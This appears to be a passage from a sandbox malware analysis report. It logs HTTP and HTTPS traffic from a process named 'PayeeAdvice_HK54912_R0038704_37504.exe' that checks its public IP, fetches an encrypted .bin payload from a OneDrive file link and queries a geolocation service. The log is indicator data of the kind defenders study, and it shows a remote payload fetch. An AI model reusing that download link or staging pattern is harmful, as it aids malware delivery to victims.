Nov 20, 2024 10:25:46.208355904 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:46.830955982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 10:25:47.619251013 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	13.107.43.12	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:32 UTC	430	OUT	GET /y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-7vR_btDJUwSahkUS2M93xLAAR6xUxBf6NEExd3XZo57-YMEfTx94x1QxOp2a-8hq__KMNGGaakccwQ1sWJGhyaRsLbTLnjBQxVFJ7n1h5l7q4yyhOY91F-AdnfAux6c4nzAxrfVrEgoQU3Nn3oITjw/KwTCIrYgMbvy217.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: 4jjxew.dm.files.1drv.com Connection: Keep-Alive
2024-11-20 09:25:32 UTC	1140	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 277568 Content-Type: application/octet-stream Content-Location: https://4jjxew.dm.files.1drv.com/y4mgoCP6fa5aJguyHLQVNiOojB7rpsZvZWcB8oGTlJSMDt_S00mtel2FDk9-ljm1_oxdKBvS5aY0BGQKC4glX8dHLY4DY45xHo8QkaQeql2FUeTMnp73vAXBFocvJ7iZ9thgcaX07gDdbhpMx5sU97zjfUyU2FKo4U63rPNtg7Z7UjWNbvfMRep9VNrjlcTQo9Wke82HmugZ8K-BopmdyRKHQ Expires: Tue, 18 Feb 2025 09:25:32 GMT Last-Modified: Tue, 19 Nov 2024 04:24:56 GMT Accept-Ranges: bytes ETag: aQjQ4MTg2N0QzMUZENUI0RCExMzEuMg P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" X-MSNSERVER: DS1PPF74CEC55D6 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: n+E4ht1SBEmlNXwv8m7jDA.0 X-SqlDataOrigin: S CTag: aYzpCNDgxODY3RDMxRkQ1QjREITEzMS4yNTc X-PreAuthInfo: rv;poba; Content-Disposition: attachment; filename="KwTCIrYgMbvy217.bin" X-Content-Type-Options: nosniff X-StreamOrigin: X X-AsmVersion: UNKNOWN; 19.1547.1104.2005 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D59D7D5346B243639304CED9CCA2C204 Ref B: BL2AA2010204025 Ref C: 2024-11-20T09:25:32Z Date: Wed, 20 Nov 2024 09:25:32 GMT Connection: close
2024-11-20 09:25:32 UTC	3058	IN	Data Raw: 1b 99 60 a0 4a e1 b9 24 77 96 f4 e3 30 fb cb ee c6 5a 13 d0 a1 26 fb 92 1b aa 75 48 72 5b 31 4d e1 ee c6 e3 59 05 d2 3a c5 4c 82 47 7d 1c 17 b5 92 a7 07 af 7d 28 84 e3 38 cd 21 17 ef 03 85 1e 4c 9d 52 70 50 ce 2c bf 7c cf 22 94 c3 3b 7b 9f a7 24 9d df 91 13 cd 82 31 0b e9 cb e8 6c 02 9a f5 65 4f 38 88 b0 bd 1a 97 c2 4c f4 9e a2 29 da fd db 06 6b 19 31 c8 11 f8 0c f4 0f 11 e2 ad a5 ee 3b c1 7e 5c 0e 03 f1 64 ff d1 c0 5b f1 ab 24 6e 95 f9 19 db a3 9e 53 c2 c1 bc 07 03 1c 58 56 8e 5a c5 6f c2 36 43 74 09 60 84 13 16 9a 99 cc 5e 0b 4e e0 6e 66 2f 45 2d 2c e2 63 6f 7a 50 3c d1 f3 e6 48 26 25 fd 1e be 35 bb fe 64 77 9e 2d 74 21 6e 76 ff 83 64 51 9c a8 2e 2a 11 8c 58 fd ac 49 ad 78 85 9b 42 c9 7f 15 5a 49 b4 4c ac fe a3 91 36 69 95 0d ef d6 7d 77 ee 25 c3 54 47 Data Ascii: `J$w0Z&uHr[1MY:LG}}(8!LRpP,\|";{$1leO8L)k1;~\d[$nSXVZo6Ct`^Nnf/E-,cozP<H&%5dw-t!nvdQ.*XIxBZIL6i}w%TG
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 38 08 9b dd 00 a4 70 f8 95 ec 3c 39 61 45 ce 9f de 20 bc 2b 14 20 89 dd 92 af dc e9 42 7d aa 56 22 2f 13 a2 f8 31 73 07 35 79 89 ec 89 7d 72 2f 46 c0 77 ad 76 55 09 87 c1 ef dd 3c 9b 7f 18 62 d2 c4 f7 a0 e5 ca dd eb 57 fd dd c6 de f1 74 33 72 8e 51 60 dd a9 42 14 29 16 f7 88 de 63 64 57 46 39 74 ed e4 a5 78 c6 26 9e 1a c3 90 2d cc 70 f7 eb 5c 96 94 39 d4 c1 a0 0a 04 f1 bf aa c9 de 19 b6 a3 52 17 6d 12 6a 03 70 bc 3f 08 17 a7 4a 39 70 8a 41 fa 6a 0a 31 b7 2b 8f fe e2 99 ad b0 b3 7b c9 4c 53 e8 79 de 73 92 c2 f1 6f a5 e2 59 6a f9 ab 5b 27 20 07 bd ce b3 4e a1 9f b9 e9 07 d0 60 b6 72 e2 43 a7 09 26 50 45 fe 22 ab 39 c6 c0 21 77 4c 2d 36 b7 91 e6 44 d3 70 34 40 20 e8 cc 44 18 79 c2 00 8b 52 5f 46 47 22 1e f6 03 8c 7d 0c 47 cf 09 0b 57 3e bf 96 7b 38 88 83 28 Data Ascii: 8p<9aE + B}V"/1s5y}r/FwvU<bWt3rQ`B)cdWF9tx&-p\9Rmjp?J9pAj1+{LSysoYj[' N`rC&PE"9!wL-6Dp4@ DyR_FG"}GW>{8(
2024-11-20 09:25:32 UTC	4144	IN	Data Raw: 76 38 8f 4e d7 a3 49 53 95 80 3b 4a ee 05 b2 c9 8d 55 e3 20 e0 27 f2 c5 9c 37 d8 5d 87 8a 04 91 b3 ed 49 0f e6 50 e9 97 85 cd 0b 5a eb c7 2c 62 45 8e d1 bd 0f c3 0f 7d 16 95 3e 71 94 44 fd 2a ec 57 5b 0c 0f 3d f5 63 37 c9 04 87 09 54 ad 6f d7 fc e2 99 38 4c 6c bb 70 39 d1 64 a3 27 0e da 3f 71 99 31 71 33 26 a0 90 0f 9c 57 9e 76 89 1b 88 7d 8d 17 55 08 9c 58 8e f9 37 19 1c 98 2b 0b 35 84 78 e0 56 9f 9b 4d 40 ef 28 64 73 86 3b de 95 ce 30 83 e2 d5 ac ed ad 3a 6a 93 5f 45 4f fd c5 87 37 af dc 4c 5c 12 af 1b 35 04 7a ef 02 b0 85 03 17 40 fb 32 2f 11 33 13 46 4e 1c 4c 72 2c 6e 69 f0 46 01 23 5a a9 24 c2 38 f2 99 08 ea 64 49 9d cc 82 b9 d1 eb 72 bc 41 f7 12 72 db 03 9e 77 c0 d6 3f bd 95 7d 36 27 3f 27 49 9d c4 6a 68 92 df cf 46 ec 02 e3 c9 b2 e6 42 46 b7 ad 2c Data Ascii: v8NIS;JU '7]IPZ,bE}>qD*W[=c7To8Llp9d'?q1q3&Wv}UX7+5xVM@(ds;0:j_EO7L\5z@2/3FNLr,niF#Z$8dIrArw?}6'?'IjhFBF,
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: f0 4c a3 06 cb db 4a d7 94 82 3b 2d c6 4d fd 9d df 88 1b f4 b4 00 ec 52 f7 62 d0 f3 f5 9f 77 ca 6a 16 c8 95 dc 3e 34 21 45 ff 88 c4 5f 16 8d de cf 42 c4 4b 33 cb b8 94 a0 55 b7 dd 12 83 53 59 e7 07 2e 2b c1 e1 66 f6 9a d5 12 9f 8b 9a b1 41 0d 0d 1c cf a9 14 91 8d c9 b6 6d c9 4d 6b 08 a8 89 70 86 53 6e 7d ba 4d f9 74 a9 79 c4 8c 4c 05 ea ac 7f 64 53 06 70 40 99 26 71 09 1a 91 62 64 d0 2a b6 36 2f 84 d6 cf f7 61 e7 5f 39 68 44 61 a9 b1 15 25 bc 0a 0d 86 58 2d eb f6 28 4d c5 54 89 46 e8 e8 91 9b 5d ae ef 9a 59 3e bb 40 a6 08 c3 f7 8e 59 32 b4 9b 45 9b 9a 17 98 c0 4f 28 e0 94 00 07 fa 45 0d 88 b3 50 46 2f df 27 b9 13 7c 6f 68 3c 1f a1 1d d6 4b 5f e1 8f 63 0c 98 ef 68 6b 3f c6 b7 21 d7 df 80 5b 43 3a 49 88 c3 e1 a6 43 c2 a9 e4 b8 fa 31 5a 70 5e 79 1c 2d f8 74 Data Ascii: LJ;-MRbwj>4!E_BK3USY.+fAmMkpSn}MtyLdSp@&qbd*6/a_9hDa%X-(MTF]Y>@Y2EO(EPF/'\|oh<K_chk?![C:IC1Zp^y-t
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 59 64 37 67 0d 3d 45 f4 a3 f8 43 82 bb 4d e2 6f c7 e2 ed 7f 9b f8 b3 5d 7e 33 5b a2 d3 a9 85 53 57 4a 73 17 2e c4 7f 9e 9c fc 06 16 b2 29 1a 1f a6 6d 70 a0 77 d4 4c 4b d0 4c 9f f8 b3 fd 3c 97 58 ec 79 b6 cb 32 47 84 ed 64 db 7c 49 53 c6 1f 0d 79 68 95 c9 99 58 1f bf 50 15 67 43 2d e9 8a d9 d1 b6 1b 42 ae 92 48 f7 94 62 c1 fc a3 d3 eb de 7f f9 7c 46 c8 98 a5 d6 2d 47 3b 98 2d d2 69 97 7c 27 13 a2 94 84 f5 11 95 87 a3 a1 d1 a3 36 ac 02 45 41 03 76 fa 88 26 88 d4 88 2a fd 07 d2 c6 45 c9 d3 5d cf 4c 0e a6 27 c0 18 41 74 02 6d 3b 84 d0 c7 c2 7a 42 c0 5e 71 6f cf 52 ea 23 c4 7b 9b 37 6d 9d df 9b 61 35 92 71 7b 9a 19 e8 6c 08 f5 26 65 4f 32 88 ce 81 1a 97 c6 3f 3d 9e a2 23 c9 f2 a5 37 6b 19 35 ba 72 fa 0c 84 19 b9 63 ad a5 ea 32 85 71 4f aa 1b 2c 69 4b c1 83 81 Data Ascii: Yd7g=ECMo]~3[SWJs.)mpwLKL<Xy2Gd\|ISyhXPgC-BHb\|F-G;-i\|'6EAv&*E]L'Atm;zB^qoR#{7ma5q{l&eO2?=#7k5rc2qO,iK
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 5a ad 1b 6b 22 45 77 67 e2 63 6b 52 1a 3c 81 bc 98 57 6a 24 fa 36 2d b0 2b 92 c6 63 8a 39 5c 9b 6e 76 15 f7 e5 50 97 a8 75 2a 16 d8 30 ed ac 2d c2 c3 85 9b 48 c9 46 2f 1c 49 b4 68 d2 bd a3 f1 36 1a 29 0d af dc 12 ea ee 25 c9 56 6f cf 5f 7b c6 45 09 0d af d3 55 92 c1 1f 6d 32 e7 0d 2f 18 87 f0 c3 7a 8c f5 f6 e3 a0 3e 58 0c ab 89 8e 65 25 ae f0 5f 72 36 0a 7e 9e 57 a4 eb d1 e2 57 c2 94 6b bb 47 ba 11 4c 0e 98 1a 9e 76 e3 c7 2b da c3 72 0f c9 d7 c7 6d 9d 63 ba 28 90 fb 8d df ca 26 0d a0 0c 0a 7c c8 f3 37 a9 46 78 58 51 dc 74 19 91 f0 9d bc ea 10 c7 32 c6 42 04 e6 44 ea 8f d2 ff 32 8b ba 1d 87 e5 20 10 d1 8d 27 64 2f c5 9f 15 c5 69 2e 51 ab 60 94 5e ef 34 e2 a0 7e 53 af f2 9b f7 6a 4c f9 b7 fd 74 d8 8d 6d 83 4b 3d a9 70 fd a1 6c ba c1 50 99 e9 03 43 34 f4 5b Data Ascii: Zk"EwgckR<Wj$6-+c9\nvPu*0-HF/Ih6)%Vo_{EUm2/z>Xe%_r6~WWkGLv+rmc(&\|7FxXQt2BD2 'd/i.Q`^4~SjLtmK=plPC4[
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 50 3e ba 5c 8c f7 c2 38 c9 7b b6 bb 7a ff 1d ac 6b f0 88 d4 78 35 96 27 56 d3 ed a7 8b 8f 9a 97 0f 98 9a 3b 9d 1f 4b 1d ac a7 32 d4 e6 b9 7c 01 23 50 c6 5e ca 05 c4 25 70 cc 18 84 46 31 b6 4d 1b c6 ca fc 18 30 c0 ec 0c 4f 60 d8 1f fd 5d b8 48 42 fd 99 81 9b 98 54 ec 79 d4 3d 4c 4f 34 fa 98 e5 d5 ac 6b 8e 26 7d 09 28 a3 0e 1c 2b 33 3b 21 48 09 89 2b 02 ed ca e2 b0 78 ef 70 54 98 c4 90 30 e6 c3 7b bd 0d 98 38 d5 ab 03 91 1f 26 6f 18 fb 11 7e 4b 8c 7c e4 e3 49 f6 c7 5b 2d 32 47 a2 35 42 f5 61 91 42 f3 99 f6 76 90 12 c2 4d 24 6c 8e 86 39 97 7d bf 5c eb 1c b9 df 27 18 f3 19 11 4d e7 78 36 e3 22 19 71 9b af 5b de 9e ea 88 77 45 a2 a7 60 84 bd 20 2c 2c ac 89 5d 2a b8 93 15 1f b5 fd aa 0f 7e b9 b9 c5 24 f4 4e 35 d9 13 7c 4f 5d 83 55 47 98 2e 15 36 ca 1e ac ee 32 Data Ascii: P>\8{zkx5'V;K2\|#P^%pF1M0O`]HBTy=LO4k&}(+3;!H+xpT0{8&o~K\|I[-2G5BaBvM$l9}\'Mx6"q[wE` ,,]*~$N5\|O]UG.62
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 32 43 56 8e 3b f7 81 51 4f 06 f8 60 67 43 a7 5b 17 aa ec 33 bd 17 16 f3 d2 d7 32 8a eb bc 2b 50 11 9a bf 43 51 84 5d 09 e3 c2 61 0f 17 64 eb 7a 4c b1 b5 8c 66 65 93 d5 2a 06 57 a2 a0 37 94 79 ac dd d8 04 c4 c5 06 25 8d 8c 97 c7 ab 48 ce 20 64 50 1e c7 a2 67 d5 be 05 31 ab 83 cf 81 6d e6 4d 3b 5a 95 da f3 a3 28 9b b7 9f 07 06 e8 80 7f ee 58 dd 83 da 14 f9 73 76 de 21 8e 89 9e f5 5e 2d 65 ce 21 90 44 52 b8 3d 36 72 ca 1a 63 17 5d a6 bf 0e c5 7b a8 b6 6e d6 6a 28 19 c7 c7 93 48 1d 1d d6 7a 78 75 32 5e 9a 6c d8 10 d7 94 3b e2 b2 39 28 10 4c 97 b6 0b a5 1d 99 a7 42 0d 53 b5 39 63 af 3a c9 13 40 ef ae d7 d2 dc 66 a4 f9 d5 03 6f 4b be 58 3b 39 07 2b 05 16 f4 06 e9 33 bf c4 18 e6 dd a8 7f e3 15 e6 0c 4c cb cb e0 3d 18 1e d6 27 e4 39 72 0c 22 72 d2 ff d6 71 e4 63 Data Ascii: 2CV;QO`gC[32+PCQ]adzLfe*W7y%H dPg1mM;Z(Xsv!^-e!DR=6rc]{nj(Hzxu2^l;9(LBS9c:@foKX;9+3L='9r"rqc
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 25 22 39 70 80 b4 72 11 63 21 6b 52 c3 28 08 36 a0 24 cf af 0e c2 32 aa f8 2b 22 8b c2 27 09 d3 dd 06 bd 07 4f 87 e4 3e 41 0d 45 be fa df 7c bc 2d 01 0e cb cc 9a d7 de 88 41 0d b5 57 6a 2f 15 80 9d fd 70 0d 56 58 d2 ea a1 65 58 75 40 d3 7a 94 37 79 32 ff 9a ef de 4c c3 b7 52 62 d4 e6 c9 43 e6 c0 85 d0 1f fd db df fa bc 78 27 8a a5 08 6d cc ae 1c 45 02 e2 87 a0 9e 72 62 32 68 c0 77 e7 85 81 1a d2 24 94 34 8d 96 2d ca 58 96 fe 5c b4 12 7e d7 cb c1 24 21 ad bf a0 b1 e7 0b b4 d3 7c 4e 6b 12 7f 7a d2 f8 3f 78 3e c8 5c 4b 4f bf 06 89 c8 5f 0e f4 89 aa ec b8 cf 8a b0 c9 f1 a0 55 42 e6 5b c3 69 e0 e9 a4 84 d7 40 0c 59 a0 ae f9 08 14 3c fc e9 b9 4c 04 b9 a4 88 26 aa 78 b7 74 c0 ab 82 17 5e 2f 29 fe 52 03 6e ee cd 30 01 c6 5f 29 bd e5 a5 29 d3 00 9c 1a 12 eb cc 3e Data Ascii: %"9prc!kR(6$2+"'O>AE\|-AWj/pVXeXu@z7y2LRbCx'mErb2hw$4-X\~$!\|Nkz?x>\KO_UB[i@Y<L&xt^/)Rn0_))>
2024-11-20 09:25:32 UTC	8192	IN	Data Raw: 56 d5 f0 f5 0d bf 17 e6 21 75 ff 84 88 de b1 dd 82 2b 80 e4 56 30 59 34 6c 73 64 42 b1 08 34 8f 4e d3 f5 01 53 95 1b 2b 68 90 55 b2 c9 89 38 dd 20 e1 3a c2 1e 8c b1 f1 69 87 b0 0e 82 81 ed 7e 71 ce 42 e2 49 8f bf db 02 95 80 04 2b 41 fc b8 b5 0f b5 31 43 96 95 34 70 85 83 91 38 c8 46 79 53 78 22 78 25 3b c1 77 ac 51 26 8d 0f f1 8e 40 ba 09 6c b7 9c 72 33 75 56 61 46 62 c3 2c 06 03 2a 69 4d 1e a8 81 0c 4c 5a ca 04 77 7b a1 0f 2f 34 43 7e a7 5f fc bf db 3c 70 85 9e 06 35 f2 c9 cc 2b 8e 9c 35 3d 84 56 55 1c af 3d ac 8b af a0 bd 90 8d b7 fc da 27 52 dd 5f 3f 33 f2 c7 87 31 87 ad 4c 1d 8c bc 1e 26 00 52 fd 0e b1 83 10 08 51 f3 1e 49 16 1b 09 49 4e 16 23 69 2d 6e 63 9f 5a 00 23 d9 81 37 c0 94 f4 8a 01 ce 6c 5d 63 de 91 b3 c0 a4 64 42 41 e4 19 63 d0 ac 89 5f 34 Data Ascii: V!u+V0Y4lsdB4NS+hU8 :i~qBI+A1C4p8FySx"x%;wQ&@lr3uVaFb,*iMLZw{/4C~_<p5+5=VU='R_?31L&RQIIN#i-ncZ#7l]cdBAc_4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:36 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 09:25:36 UTC	856	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:36 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58645 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1X97DqgqGZOFfk3bu7ylFN%2BTcqeW1tut7dd5Ib6ngqb%2B82k9CxAOh%2F46Z%2FrqTL1cmlOOxV02uIWweUHtI5Mot%2BA63jfwHHRZtQL%2B7fzeNqF7o5LvPDVsjgNAZYrjRfjYydfsLisp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764c69e134396-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1815920&cwnd=252&unsent_bytes=0&cid=dba2db2f50969bcf&ts=152&x=0"
2024-11-20 09:25:36 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:37 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 09:25:37 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:37 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58646 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lxXtpzo6y3gHxpsWADpFAazC5f%2BMdz5xLKk4sinaqo4Nftaj5QnH%2BSiISEJeQMjpZwmaF0W9E9O6ts2DIlgZ9nDAjgpxBI5G3BxrKr6Q1t2%2FM78id2IswbYqJeIMgrKDpX2BupSF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764cc3b3f421d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1871&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1544973&cwnd=190&unsent_bytes=0&cid=7e21f4dc63a08cb9&ts=164&x=0"
2024-11-20 09:25:37 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:38 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 09:25:38 UTC	862	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:38 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58647 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRDnoCl4HswhOiQrJE3%2BpNMEYp8%2FdXAyjh%2FzFfmGcnGFidVZm3bzaQYF300NdTsF6%2FE786BEeeFmPR%2BNDyk7n4%2BZi%2FpdI44RjN0BDYHLOxyPSWWGgfNv8lVCI92GJaR%2F4S2EV%2FYS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764d61fd04370-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1785932&cwnd=245&unsent_bytes=0&cid=5ac5415636913ed6&ts=127&x=0"
2024-11-20 09:25:38 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:40 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
